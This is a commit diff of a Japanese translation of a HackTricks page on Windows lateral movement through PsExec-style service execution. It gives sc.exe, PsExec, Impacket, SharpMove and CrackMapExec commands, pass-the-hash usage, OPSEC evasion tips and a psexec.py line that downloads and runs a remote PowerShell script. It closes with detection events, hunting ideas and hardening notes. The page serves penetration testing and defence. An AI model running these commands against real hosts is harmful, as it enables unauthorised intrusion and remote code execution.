mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/lateral-movement/psexec-and-winexec.m
This commit is contained in:
parent
81522cb4d3
commit
0a43330abb
@ -4,46 +4,147 @@
|
||||
|
||||
## どのように機能するか
|
||||
|
||||
プロセスは以下のステップで概説されており、サービスバイナリがどのように操作され、SMBを介してターゲットマシンでリモート実行を達成するかを示しています。
|
||||
これらの技術は、SMB/RPCを介してリモートでWindowsサービスコントロールマネージャー(SCM)を悪用して、ターゲットホスト上でコマンドを実行します。一般的な流れは次のとおりです。
|
||||
|
||||
1. **ADMIN$共有にサービスバイナリをSMB経由でコピー**します。
|
||||
2. **リモートマシン上にサービスを作成**し、バイナリを指します。
|
||||
3. サービスが**リモートで開始**されます。
|
||||
4. 終了時に、サービスは**停止され、バイナリは削除**されます。
|
||||
1. ターゲットに認証し、SMB(TCP/445)経由でADMIN$共有にアクセスします。
|
||||
2. 実行可能ファイルをコピーするか、サービスが実行するLOLBASコマンドラインを指定します。
|
||||
3. SCM(\PIPE\svcctl経由のMS-SCMR)を介して、そのコマンドまたはバイナリを指すリモートサービスを作成します。
|
||||
4. サービスを開始してペイロードを実行し、オプションで名前付きパイプを介してstdin/stdoutをキャプチャします。
|
||||
5. サービスを停止し、クリーンアップ(サービスとドロップされたバイナリを削除)します。
|
||||
|
||||
### **PsExecを手動で実行するプロセス**
|
||||
要件/前提条件:
|
||||
- ターゲット上のローカル管理者(SeCreateServicePrivilege)またはターゲット上の明示的なサービス作成権限。
|
||||
- SMB(445)が到達可能で、ADMIN$共有が利用可能;ホストファイアウォールを通じてリモートサービス管理が許可されている。
|
||||
- UACリモート制限:ローカルアカウントを使用する場合、トークンフィルタリングによりネットワーク上の管理者がブロックされる可能性があるため、組み込みのAdministratorまたはLocalAccountTokenFilterPolicy=1を使用する必要があります。
|
||||
- Kerberos対NTLM:ホスト名/FQDNを使用するとKerberosが有効になり、IPで接続するとNTLMにフォールバックすることが多く(強化された環境ではブロックされる可能性があります)。
|
||||
|
||||
msfvenomで作成され、ウイルス対策検出を回避するためにVeilを使用して難読化された実行可能ペイロード「met8888.exe」を仮定すると、以下のステップが取られます。
|
||||
### sc.exeを介した手動ScExec/WinExec
|
||||
|
||||
- **バイナリのコピー**: 実行可能ファイルはコマンドプロンプトからADMIN$共有にコピーされますが、ファイルシステムのどこにでも配置して隠すことができます。
|
||||
- バイナリをコピーする代わりに、`powershell.exe`や`cmd.exe`のようなLOLBASバイナリを使用して、引数から直接コマンドを実行することも可能です。例: `sc create [ServiceName] binPath= "cmd.exe /c [PayloadCommand]"`
|
||||
- **サービスの作成**: Windowsの`sc`コマンドを利用して、リモートでWindowsサービスを照会、作成、削除することができ、「meterpreter」という名前のサービスがアップロードされたバイナリを指すように作成されます。
|
||||
- **サービスの開始**: 最後のステップはサービスを開始することで、バイナリが本物のサービスバイナリでないため、期待される応答コードを返さずに「タイムアウト」エラーが発生する可能性が高いです。このエラーは、バイナリの実行が主な目的であるため、重要ではありません。
|
||||
以下は、最小限のサービス作成アプローチを示しています。サービスイメージは、ドロップされたEXEまたはcmd.exeやpowershell.exeのようなLOLBASである可能性があります。
|
||||
```cmd
|
||||
:: Execute a one-liner without dropping a binary
|
||||
sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
|
||||
sc.exe \\TARGET start HTSvc
|
||||
sc.exe \\TARGET delete HTSvc
|
||||
|
||||
Metasploitリスナーを観察すると、セッションが正常に開始されたことがわかります。
|
||||
|
||||
[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx).
|
||||
|
||||
詳細な手順については、[https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)を参照してください。
|
||||
|
||||
- **Windows SysinternalsバイナリPsExec.exe**を使用することもできます:
|
||||
|
||||
.png>)
|
||||
|
||||
またはwebddav経由でアクセスできます:
|
||||
```bash
|
||||
\\live.sysinternals.com\tools\PsExec64.exe -accepteula
|
||||
:: Drop a payload to ADMIN$ and execute it (example path)
|
||||
copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
|
||||
sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
|
||||
sc.exe \\TARGET start HTSvc
|
||||
sc.exe \\TARGET delete HTSvc
|
||||
```
|
||||
- あなたは[**SharpLateral**](https://github.com/mertdas/SharpLateral)を使用することもできます:
|
||||
ノート:
|
||||
- 非サービスEXEを起動するときにタイムアウトエラーが発生することがありますが、実行は続行されます。
|
||||
- よりOPSECフレンドリーであるために、ファイルレスコマンド(cmd /c, powershell -enc)を好むか、ドロップされたアーティファクトを削除してください。
|
||||
|
||||
詳細な手順については、こちらを参照してください: https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
|
||||
|
||||
## ツールと例
|
||||
|
||||
### Sysinternals PsExec.exe
|
||||
|
||||
- SMBを使用してADMIN$にPSEXESVC.exeをドロップし、一時サービス(デフォルト名PSEXESVC)をインストールし、名前付きパイプを介してI/Oをプロキシするクラシックな管理ツールです。
|
||||
- 使用例:
|
||||
```cmd
|
||||
:: Interactive SYSTEM shell on remote host
|
||||
PsExec64.exe -accepteula \\HOST -s -i cmd.exe
|
||||
|
||||
:: Run a command as a specific domain user
|
||||
PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all
|
||||
|
||||
:: Customize the service name for OPSEC (-r)
|
||||
PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
|
||||
```
|
||||
- WebDAV経由でSysinternals Liveから直接起動できます:
|
||||
```cmd
|
||||
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami
|
||||
```
|
||||
OPSEC
|
||||
- サービスのインストール/アンインストールイベントを残し(サービス名は通常PSEXESVC、-rが使用されない限り)、実行中にC:\Windows\PSEXESVC.exeを作成します。
|
||||
|
||||
### Impacket psexec.py (PsExecに似たもの)
|
||||
|
||||
- 埋め込まれたRemComのようなサービスを使用します。ADMIN$経由で一時的なサービスバイナリ(一般的にランダム化された名前)をドロップし、サービスを作成します(デフォルトは通常RemComSvc)し、名前付きパイプを介してI/Oをプロキシします。
|
||||
```bash
|
||||
# Password auth
|
||||
psexec.py DOMAIN/user:Password@HOST cmd.exe
|
||||
|
||||
# Pass-the-Hash
|
||||
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe
|
||||
|
||||
# Kerberos (use tickets in KRB5CCNAME)
|
||||
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe
|
||||
|
||||
# Change service name and output encoding
|
||||
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"
|
||||
```
|
||||
Artifacts
|
||||
- 一時的なEXEがC:\Windows\に作成されます(ランダムな8文字)。サービス名は上書きされない限り、デフォルトでRemComSvcになります。
|
||||
|
||||
### Impacket smbexec.py (SMBExec)
|
||||
|
||||
- cmd.exeを起動する一時的なサービスを作成し、I/Oに名前付きパイプを使用します。一般的に完全なEXEペイロードをドロップすることは避けられ、コマンド実行はセミインタラクティブです。
|
||||
```bash
|
||||
smbexec.py DOMAIN/user:Password@HOST
|
||||
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST
|
||||
```
|
||||
### SharpLateral と SharpMove
|
||||
|
||||
- [SharpLateral](https://github.com/mertdas/SharpLateral) (C#) は、サービスベースの実行を含むいくつかの横移動手法を実装しています。
|
||||
```cmd
|
||||
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
|
||||
```
|
||||
- あなたは[**SharpMove**](https://github.com/0xthirteen/SharpMove)も使用できます:
|
||||
```bash
|
||||
- [SharpMove](https://github.com/0xthirteen/SharpMove) は、リモートでコマンドを実行するためのサービスの変更/作成を含みます。
|
||||
```cmd
|
||||
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
|
||||
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
|
||||
```
|
||||
- **Impacketの`psexec`と`smbexec.py`**も使用できます。
|
||||
- CrackMapExecを使用して、異なるバックエンド(psexec/smbexec/wmiexec)を介して実行することもできます:
|
||||
```bash
|
||||
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
|
||||
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec
|
||||
```
|
||||
## OPSEC、検出とアーティファクト
|
||||
|
||||
PsExecのような技術を使用する際の典型的なホスト/ネットワークアーティファクト:
|
||||
- 管理者アカウントに対するセキュリティ4624(ログオンタイプ3)および4672(特権)。
|
||||
- ADMIN$アクセスおよびサービスバイナリの作成/書き込みを示すセキュリティ5140/5145ファイル共有およびファイル共有詳細イベント(例:PSEXESVC.exeまたはランダムな8文字の.exe)。
|
||||
- ターゲット上のセキュリティ7045サービスインストール:PSEXESVC、RemComSvc、またはカスタム(-r / -service-name)のようなサービス名。
|
||||
- services.exeまたはサービスイメージのためのSysmon 1(プロセス作成)、3(ネットワーク接続)、11(ファイル作成)C:\Windows\内、\\.\pipe\psexesvc、\\.\pipe\remcom_*、またはランダム化された同等物のための17/18(パイプ作成/接続)。
|
||||
- Sysinternals EULAのためのレジストリアーティファクト:HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1オペレータホスト上(抑制されていない場合)。
|
||||
|
||||
ハンティングアイデア
|
||||
- ImagePathにcmd.exe /c、powershell.exe、またはTEMPロケーションを含むサービスインストールにアラートを出す。
|
||||
- 親イメージがC:\Windows\PSEXESVC.exeであるプロセス作成や、LOCAL SYSTEMとしてシェルを実行しているservices.exeの子プロセスを探す。
|
||||
- -stdin/-stdout/-stderrで終わる名前付きパイプや、よく知られたPsExecクローンパイプ名にフラグを立てる。
|
||||
|
||||
## 一般的な失敗のトラブルシューティング
|
||||
- サービス作成時にアクセスが拒否される(5):真のローカル管理者ではない、ローカルアカウントに対するUACリモート制限、またはサービスバイナリパス上のEDR改ざん保護。
|
||||
- ネットワークパスが見つからない(53)またはADMIN$に接続できない:SMB/RPCをブロックするファイアウォールまたは管理共有が無効。
|
||||
- Kerberosが失敗するがNTLMがブロックされる:ホスト名/FQDN(IPではなく)を使用して接続し、適切なSPNを確保するか、Impacketを使用する際にチケットと共に-k/-no-passを供給する。
|
||||
- サービス開始がタイムアウトするがペイロードが実行された:実際のサービスバイナリでない場合は予想される;出力をファイルにキャプチャするか、ライブI/Oのためにsmbexecを使用する。
|
||||
|
||||
## ハードニングノート(現代の変更)
|
||||
- Windows 11 24H2およびWindows Server 2025は、デフォルトでアウトバウンド(およびWindows 11のインバウンド)接続に対してSMB署名を要求します。これは、正当な資格情報を持つPsExecの使用を妨げることはありませんが、署名されていないSMBリレーの悪用を防ぎ、署名をサポートしないデバイスに影響を与える可能性があります。
|
||||
- 新しいSMBクライアントのNTLMブロック(Windows 11 24H2/Server 2025)は、IPまたは非Kerberosサーバーへの接続時にNTLMフォールバックを防ぐことがあります。ハードニングされた環境では、NTLMベースのPsExec/SMBExecが壊れる;正当な必要がある場合はKerberos(ホスト名/FQDN)を使用するか、例外を設定する。
|
||||
- 最小特権の原則:ローカル管理者メンバーシップを最小限に抑え、Just-in-Time/Just-Enough Adminを優先し、LAPSを強制し、7045サービスインストールを監視/アラートする。
|
||||
|
||||
## 参照
|
||||
|
||||
- WMIベースのリモート実行(しばしばファイルレス):
|
||||
{{#ref}}
|
||||
lateral-movement/wmiexec.md
|
||||
{{#endref}}
|
||||
|
||||
- WinRMベースのリモート実行:
|
||||
{{#ref}}
|
||||
lateral-movement/winrm.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## 参考文献
|
||||
|
||||
- PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
|
||||
- Windows Server 2025およびWindows 11におけるSMBセキュリティハードニング(デフォルトでの署名、NTLMブロック):https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user